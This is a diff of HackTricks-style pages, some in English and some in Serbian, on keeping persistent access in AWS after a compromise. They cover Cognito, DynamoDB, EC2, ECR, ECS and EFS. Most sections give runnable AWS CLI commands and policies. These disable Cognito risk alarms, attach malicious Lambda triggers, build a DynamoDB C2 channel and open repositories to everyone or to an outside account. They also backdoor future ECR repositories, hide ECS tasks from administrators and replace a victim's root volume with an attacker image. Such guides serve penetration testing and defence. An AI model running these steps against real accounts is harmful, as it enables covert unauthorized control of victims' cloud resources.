@@ -1,40 +0,0 @@
# AWS - Cognito Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## Cognito
For more information, access:
{{#ref}}
../../aws-services/aws-cognito-enum/
{{#endref}}
### Perzistencija korisnika
Cognito je servis koji omogućava dodeljivanje uloga neautentifikovanim i autentifikovanim korisnicima i upravljanje direktorijumom korisnika. Više različitih konfiguracija može se promeniti da bi se održala perzistencija, na primer:
- **Dodavanje a User Pool** koji je pod kontrolom korisnika u Identity Pool
- Dodeliti **IAM role** neautentifikovanom Identity Pool-u i omogućiti Basic auth flow
- Ili u **authenticated Identity Pool** ako napadač može da se prijavi
- Ili **povećati dozvole** dodeljenim ulogama
- **Create, verify & privesc** preko atributa kontrolisanih korisnika ili novih korisnika u **User Pool**
- **Allowing external Identity Providers** da se prijave u User Pool ili u Identity Pool
Check how to do these actions in
{{#ref}}
../../aws-privilege-escalation/aws-cognito-privesc/README.md
{{#endref}}
### `cognito-idp:SetRiskConfiguration`
Napadač sa ovom privilegijom može izmeniti konfiguraciju rizika kako bi se mogao prijaviti kao Cognito korisnik **bez aktiviranja alarma**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) da biste proverili sve opcije:
```bash
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
```
Podrazumevano je ovo onemogućeno:
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,67 @@
# AWS - DynamoDB Persistence
{{#include ../../../banners/hacktricks-training.md}}
### DynamoDB
For more information access:
{{#ref}}
../aws-services/aws-dynamodb-enum.md
{{#endref}}
### DynamoDB Triggers with Lambda Backdoor
Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account.
```bash
# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>
# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>
# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>
```
To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
### DynamoDB as a C2 Channel
An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
```bash
# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>
# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>
```
The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,59 +0,0 @@
# AWS - DynamoDB Persistencija
{{#include ../../../../banners/hacktricks-training.md}}
### DynamoDB
Za više informacija pristupite:
{{#ref}}
../../aws-services/aws-dynamodb-enum.md
{{#endref}}
### DynamoDB okidači sa Lambda backdoor
Koristeći DynamoDB okidače, napadač može kreirati **neprimetan backdoor** povezivanjem zlonamerne Lambda funkcije sa tabelom. Lambda funkcija može biti okinuta kada se stavka doda, izmeni ili obriše, omogućavajući napadaču da izvrši proizvoljan kod unutar AWS naloga.
```bash
# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>
# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>
# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>
```
Da bi održao pristup, napadač može da kreira ili izmeni stavke u DynamoDB tabeli, što će pokrenuti malicioznu Lambda funkciju. Ovo omogućava napadaču da izvršava kod unutar AWS naloga bez direktne interakcije sa Lambda funkcijom.
### DynamoDB as a C2 Channel
Napadač može koristiti DynamoDB tabelu kao **command and control (C2) channel** tako što će kreirati stavke koje sadrže komande i koristiti kompromitovane instance ili Lambda functions da preuzmu i izvrše te komande.
```bash
# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>
# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>
```
Kompromitovane instances ili Lambda functions mogu periodično proveravati C2 table za nove komande, izvršavati ih i opciono prijavljivati rezultate nazad u tabelu. Ovo omogućava napadaču da održi perzistenciju i kontrolu nad kompromitovanim resursima.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,58 @@
# AWS - EC2 Persistence
{{#include ../../../banners/hacktricks-training.md}}
## EC2
For more information check:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
### Security Group Connection Tracking Persistence
If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic.
If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
### EC2 Lifecycle Manager
This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\
An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**.
### Scheduled Instances
It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access.
### Spot Fleet Request
Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**.
### Backdoor Instances
An attacker could get access to the instances and backdoor them:
- Using a traditional **rootkit** for example
- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
- Backdooring the **User Data**
### **Backdoor Launch Configuration**
- Backdoor the used AMI
- Backdoor the User Data
- Backdoor the Key Pair
### VPN
Create a VPN so the attacker will be able to connect directly through i to the VPC.
### VPC Peering
Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,62 +0,0 @@
# AWS - EC2 Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## EC2
For more information check:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
### Security Group Connection Tracking Persistence
Ako defensor otkrije da je **EC2 instance was compromised** verovatno će pokušati da **isolate** **network** mašine. Može to uraditi eksplicitnim **Deny NACL**-om (ali NACLs utiču na ceo subnet), ili **changing the security group** tako da ne dozvoli **any kind of inbound or outbound** saobraćaj.
Ako je napadač imao **reverse shell originated from the machine**, čak i ako je SG izmenjen da ne dozvoljava inbound ili outbound saobraćaj, veza se neće prekinuti zbog [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
### EC2 Lifecycle Manager
Ovaj servis dozvoljava da se **schedule** **creation of AMIs and snapshots** i čak **share them with other accounts**.\
Napadač može konfigurисati **generation of AMIs or snapshots** svih image-ova ili svih volumena **every week** i **share them with his account**.
### Scheduled Instances
Moguće je schedule-ovati instance da se pokreću dnevno, nedeljno ili čak mesečno. Napadač bi mogao pokretati mašinu sa visokim privilegijama ili interesantnim pristupom gde bi mogao da pristupi.
### Spot Fleet Request
Spot instances su **cheaper** od regularnih instanci. Napadač može pokrenuti **small spot fleet request for 5 year** (na primer), sa **automatic IP** dodelom i **user data** koji šalje napadaču **when the spot instance start** i **IP address**, kao i sa **high privileged IAM role**.
### Backdoor Instances
Napadač može dobiti pristup instancama i backdoor-ovati ih:
- Using a traditional **rootkit** for example
- Adding a new **public SSH key** (check [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
- Backdooring the **User Data**
### **Backdoor Launch Configuration**
- Backdoor the used AMI
- Backdoor the User Data
- Backdoor the Key Pair
### EC2 ReplaceRootVolume Task (Stealth Backdoor)
Zameni root EBS volume pokrenute instance sa onim izgrađenim iz attacker-controlled AMI ili snapshot koristeći `CreateReplaceRootVolumeTask`. Instanca zadržava svoje ENIs, IPs i role, efektivno boota u maliciozni kod dok izgleda nepromenjeno.
{{#ref}}
../aws-ec2-replace-root-volume-persistence/README.md
{{#endref}}
### VPN
Kreiraj VPN tako da napadač može direktno da se poveže kroz njega na VPC.
### VPC Peering
Kreiraj peering konekciju između victim VPC i attacker VPC tako da će moći pristupiti victim VPC.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,75 +0,0 @@
# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
{{#include ../../../../banners/hacktricks-training.md}}
Iskoristite **ec2:CreateReplaceRootVolumeTask** da zamenite root EBS volumen pokrenute instance sa onim vraćenim iz AMI-ja ili snapshota koji kontroliše napadač. Instanca se automatski restartuje i nastavlja sa root fajl-sistemom pod kontrolom napadača, pri čemu su sačuvani ENIs, privatne/javne IP adrese, prikačeni non-root volumeni i instance metadata/IAM role.
## Requirements
- Ciljna instanca mora biti EBS-backed i pokrenuta u istom regionu.
- Kompatibilan AMI ili snapshot: ista arhitektura/virtualizacija/boot mode (i product codes, ako postoje) kao ciljana instanca.
## Pre-checks
```bash
REGION=us-east-1
INSTANCE_ID=<victim instance>
# Ensure EBS-backed
aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text
# Capture current network and root volume
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
```
## Zameni root iz AMI (preporučeno)
```bash
IMAGE_ID=<attacker-controlled compatible AMI>
# Start task
TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text)
# Poll until state == succeeded
while true; do
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
done
```
Alternativa korišćenjem snapshot-a:
```bash
SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
```
## Dokazi / Verifikacija
```bash
# Instance auto-reboots; network identity is preserved
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
# Compare before vs after
printf "ENI:%s IP:%s
ORIG_VOL:%s
NEW_VOL:%s
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
# (Optional) Inspect task details and console output
aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
```
Očekivano: ENI_ID i PRI_IP ostaju isti; ID root volumena menja se sa $ORIG_VOL na $NEW_VOL. Sistem se podiže sa datotečnim sistemom iz AMI/snapshot pod kontrolom napadača.
## Napomene
- API ne zahteva da ručno zaustavljate instancu; EC2 orkestrira ponovno pokretanje.
- Podrazumevano, zamenjeni (stari) root EBS volume se odvaja i ostaje na nalogu (DeleteReplacedRootVolume=false). Ovo može da se iskoristi za vraćanje na prethodno stanje (rollback) ili mora biti izbrisan da biste izbegli troškove.
## Povratak / Čišćenje
```bash
# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
# you can create a snapshot and replace again from it:
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
# Or simply delete the detached old root volume if not needed:
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,101 @@
# AWS - ECR Persistence
{{#include ../../../banners/hacktricks-training.md}}
## ECR
For more information check:
{{#ref}}
../aws-services/aws-ecr-enum.md
{{#endref}}
### Hidden Docker Image with Malicious Code
An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
### Repository Policy
Add a policy to a single repository granting yourself (or everybody) access to a repository:
```bash
aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json
# With a .json such as
{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
```
> [!WARNING]
> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
### Registry Policy & Cross-account Replication
It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
First, you need to give the external account access over the registry with a **registry policy** like:
```bash
aws ecr put-registry-policy --policy-text file://my-policy.json
# With a .json like:
{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}
```
Then apply the replication config:
```bash
aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2
# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,145 +0,0 @@
# AWS - ECR Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## ECR
Za više informacija pogledajte:
{{#ref}}
../../aws-services/aws-ecr-enum.md
{{#endref}}
### Skrivena Docker slika sa zlonamernim kodom
Napadač može **uploadovati Docker image koji sadrži zlonamerni kod** u ECR repository i koristiti ga za održavanje persistence u ciljanom AWS nalogu. Napadač potom može deploy-ovati zlonamerni image na različite servise unutar naloga, kao što su Amazon ECS ili EKS, na prikriven način.
### Politika repozitorijuma
Dodajte politiku na pojedinačni repozitorijum koja vama (ili svima) dodeljuje pristup repozitorijumu:
```bash
aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json
# With a .json such as
{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
```
> [!WARNING]
> Imajte na umu da ECR zahteva da korisnici imaju **dozvolu** da pozivaju **`ecr:GetAuthorizationToken`** API kroz IAM policy **pre nego što se mogu autentifikovati** na registry i push-ovati ili pull-ovati bilo koje slike iz bilo kog Amazon ECR repozitorijuma.
### Politika registra i replikacija između naloga
Moguće je automatski replicirati registar u eksternom nalogu podešavanjem cross-account replication, gde treba da **naznačite eksterni nalog** u koji želite da replicirate registar.
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
Prvo, potrebno je dati eksternom nalogu pristup registru pomoću **registry policy** kao:
```bash
aws ecr put-registry-policy --policy-text file://my-policy.json
# With a .json like:
{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}
```
Zatim primenite konfiguraciju replikacije:
```bash
aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2
# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
```
### Repository Creation Templates (prefiks backdoor za buduće repos)
Iskoristite ECR Repository Creation Templates da automatski ubacite backdoor u bilo koji repository koji ECR automatski kreira pod kontrolisanim prefiksom (na primer preko Pull-Through Cache ili Create-on-Push). Ovo omogućava trajni neovlašćeni pristup budućim repos bez diranja postojećih.
- Potrebne dozvole: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (used by the template), iam:PassRole (if a custom role is attached to the template).
- Uticaj: Bilo koji novi repository kreiran pod ciljnim prefiksom automatski nasleđuje repository policy pod kontrolom napadača (npr. cross-account read/write), podešavanja mutabilnosti tagova i podrazumevana podešavanja skeniranja.
<details>
<summary>Backdoor buduće PTC-created repos pod odabranim prefiksom</summary>
```bash
# Region
REGION=us-east-1
# 1) Prepare permissive repository policy (example grants everyone RW)
cat > /tmp/repo_backdoor_policy.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BackdoorRW",
"Effect": "Allow",
"Principal": {"AWS": "*"},
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer",
"ecr:InitiateLayerUpload",
"ecr:UploadLayerPart",
"ecr:CompleteLayerUpload",
"ecr:PutImage"
]
}
]
}
JSON
# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
aws ecr create-repository-creation-template --region $REGION --prefix ptc2 --applied-for PULL_THROUGH_CACHE --image-tag-mutability MUTABLE --repository-policy file:///tmp/repo_backdoor_policy.json
# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
# This example caches from Amazon ECR Public namespace "nginx"
aws ecr create-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc2 --upstream-registry ecr-public --upstream-registry-url public.ecr.aws --upstream-repository-prefix nginx
# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
acct=$(aws sts get-caller-identity --query Account --output text)
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
# 5) Validate the backdoor policy was applied on the newly created repository
aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
```
</details>
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,103 @@
# AWS - ECS Persistence
{{#include ../../../banners/hacktricks-training.md}}
## ECS
For more information check:
{{#ref}}
../aws-services/aws-ecs-enum.md
{{#endref}}
### Hidden Periodic ECS Task
> [!NOTE]
> TODO: Test
An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'
# Create an Amazon EventBridge rule to trigger the task periodically
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
{
"Id": "malicious-ecs-task-target",
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
"EcsParameters": {
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
"TaskCount": 1
}
}
]'
```
### Backdoor Container in Existing ECS Task Definition
> [!NOTE]
> TODO: Test
An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.
```bash
# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
{
"name": "legitimate-container",
"image": "legitimate-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
},
{
"name": "backdoor-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": false
}
]'
```
### Undocumented ECS Service
> [!NOTE]
> TODO: Test
An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'
# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,152 +0,0 @@
# AWS - ECS Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## ECS
Za više informacija pogledajte:
{{#ref}}
../../aws-services/aws-ecs-enum.md
{{#endref}}
### Hidden Periodic ECS Task
> [!NOTE]
> TODO: Testirati
An attacker can create a hidden periodic ECS task using Amazon EventBridge to **periodično zakazuje izvršavanje malicioznog taska**. Ovaj task može obavljati reconnaissance, exfiltrate data, ili održavati persistence u AWS nalogu.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'
# Create an Amazon EventBridge rule to trigger the task periodically
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
{
"Id": "malicious-ecs-task-target",
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
"EcsParameters": {
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
"TaskCount": 1
}
}
]'
```
### Backdoor Container u postojećoj ECS task definition
> [!NOTE]
> TODO: Test
Napadač može dodati **stealthy backdoor container** u postojeću ECS task definition koja radi pored legitimnih containers. Backdoor container može biti iskorišćen za persistence i izvođenje zlonamernih aktivnosti.
```bash
# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
{
"name": "legitimate-container",
"image": "legitimate-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
},
{
"name": "backdoor-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": false
}
]'
```
### Nedokumentovan ECS servis
> [!NOTE]
> TODO: Testirati
Napadač može kreirati **nedokumentovan ECS servis** koji pokreće maliciozan task. Podešavanjem željenog broja tasks na minimum i onemogućavanjem logovanja, teže je administratorima da primete maliciozni servis.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'
# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
```
### ECS persistencija putem Task Scale-In Protection (UpdateTaskProtection)
Zloupotrebite ecs:UpdateTaskProtection da sprečite da service tasks budu zaustavljeni usled scalein events i rolling deployments. Kontinuiranim produžavanjem zaštite, napadač može održavati dugotrajan task aktivnim (za C2 ili prikupljanje podataka) čak i ako branitelji smanje desiredCount ili objave nove task revisions.
Koraci za reprodukciju u us-east-1:
```bash
# 1) Cluster (create if missing)
CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
cat > /tmp/ht-persist-td.json << 'JSON'
{
"family": "ht-persist",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"containerDefinitions": [
{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
"command": ["/bin/sh","-c","sleep 864000"]}
]
}
JSON
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
# 3) Create service (use default VPC public subnet + default SG)
VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
# 4) Get running task ARN
TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
# 5) Enable scale-in protection for 24h and verify
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
# 6) Try to scale service to 0 (task should persist)
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
# Optional: rolling deployment blocked by protection
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
# 7) Cleanup
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
aws ecs deregister-task-definition --task-definition ht-persist || true
```
Uticaj: Zaštićeni task ostaje RUNNING uprkos desiredCount=0 i blokira zamene tokom novih deployments, omogućavajući neprimetnu dugotrajnu perzistenciju unutar ECS service.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,25 @@
# AWS - EFS Persistence
{{#include ../../../banners/hacktricks-training.md}}
## EFS
For more information check:
{{#ref}}
../aws-services/aws-efs-enum.md
{{#endref}}
### Modify Resource Policy / Security Groups
Modifying the **resource policy and/or security groups** you can try to persist your access into the file system.
### Create Access Point
You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,21 +0,0 @@
# AWS - EFS Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## EFS
Za više informacija pogledajte:
{{#ref}}
../../aws-services/aws-efs-enum.md
{{#endref}}
### Izmenite resource policy / security groups
Izmenom **resource policy i/ili security groups** možete pokušati da persist your access u file system.
### Kreirajte Access Point
